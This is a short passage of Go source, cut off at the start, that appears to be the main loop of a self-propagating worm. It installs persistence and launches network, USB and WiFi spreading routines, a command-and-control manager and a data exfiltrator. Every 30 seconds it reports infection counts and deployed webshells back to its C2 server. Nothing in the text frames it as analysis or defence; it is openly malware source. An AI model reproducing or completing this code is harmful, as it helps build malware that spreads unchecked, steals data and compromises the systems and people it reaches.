w.population.CoordinateWithPeers() w.persistence.InstallAll() go w.propagator.Start() go w.usbPropagator.StartMonitoring() go w.wifiPropagator.Start() go w.c2Manager.Start() go w.dataExfiltrator.Start() // Main loop w.maintenanceLoop() } func (w *Worm) maintenanceLoop() { ticker := time.NewTicker(30 * time.Second) for range ticker.C { w.status = "ACTIVE" // Report population status to C2 w.c2Manager.sendToC2("STATUS", map[string]interface{}{ "population": len(w.population.knownInstances), "role": w.population.leader, "usb_infected": len(w.usbPropagator.infectedUSBs), "webshells": len(w.webShellManager.deployed), }) } } func main() { worm := NewWorm() worm.Run() select {} }